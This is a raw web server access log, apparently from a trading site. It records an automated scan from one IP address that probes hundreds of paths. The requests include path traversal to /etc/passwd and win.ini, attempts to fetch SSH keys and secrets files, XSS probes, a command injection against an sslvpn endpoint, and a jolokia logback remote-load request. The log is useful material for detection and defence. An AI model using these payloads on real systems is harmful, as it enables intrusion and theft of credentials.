[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test/config/secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/welcome HTTP/1.1" 199
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.archive/backends HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_Menu.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en-US/account/login HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /host.key HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/spider.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lan.html HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RDWeb HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /features HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/ping.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configprops HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/collector/health HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SphinxAuth/Account/Login HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/esshrprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gateway/routes HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /equipbid/storage/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aplicacao/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DLPCenter/loginform.sms HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci-issues.yml HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //.travis.sh HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /flyway HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.1.json HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /actuator/env HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/autoconfig HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /FpvdRS HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/caches HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpmyadmin/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /health HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/production.sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/ HTTP/1.1" 5063
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logfile HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SOGo HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loggingConfig HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sonicui/7/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /liquibase HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /metrics HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mappings HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scheduledtasks HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /userportal/webpages/myaccount/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /httptrace HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loggers HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //p.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /routes/error_log HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trace HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /threaddump HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/UI/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/phpMyAdmin/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /startup HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.old HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927404855 HTTP/1.1" -
[09/Jan/2026:10:52:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927416982 HTTP/1.1" -
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1.sql HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-playground HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Reports/Pages/Folder.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/sqwebmail HTTP/1.1" 199
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.svn/wc.db HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/known_hosts HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Account/LogIn?returnUrl=%2F&hasAttemptedCookie=True HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/gateway/routes HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /steve/manager/signin HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /struts/webconsole.html?debug=console HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //install.sh HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/tokens HTTP/1.1" 226
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webscr?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.archive/cluster/archives/catalog/rebuild HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/flyway HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/scheduledtasks HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /connect/register HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/info HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/liquibase HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/signin HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/env HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/loggers HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configs/sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/status HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/beans HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/health HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/metrics HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Reports/Pages/Folder.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/UI/Login HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/vkeyboard/vkeyboard.php?passformname=%22%3E%3Cscript%3Ealert%28194627914%29%3B%3C%2Fscript%3E%3Cscript%3E%2F%2A HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.key HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/dump HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/features HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /steve/services/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/services/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/logfile HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.stestr.conf HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/storage/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/mappings HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/read_body.php?mailbox=/etc/passwd&passed_id=1 HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DLPCenter/images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn/sslvpn_client.php?client=logoImg&img=%20/tmp|echo%20%60id%60%20|tee%20/usr/local/webui/sslvpn/asrow.txt HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //V.txt HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/threaddump HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.styleci.yml HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/auth/login HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk:443/error.log HTTP/1.1" 199
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /panel HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pma/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/privatekey.pem HTTP/1.1" 199
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?content=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /supershell/login/auth HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/smoosh-status.yml HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/configprops HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/httptrace HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.putty/putty.ppk HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/startup HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/authorized_keys HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.save HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/app.db HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/conditions HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /spre/auth/login HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/logs/errors HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/172.16.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-playground-html HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Directory/Login/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /svnserve.conf HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /heapdump HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/auditevents HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/loggingConfig HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sphider/admin/admin.php HTTP/1.1" 196
[09/Jan/2026:10:52:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webmail HTTP/1.1" 199
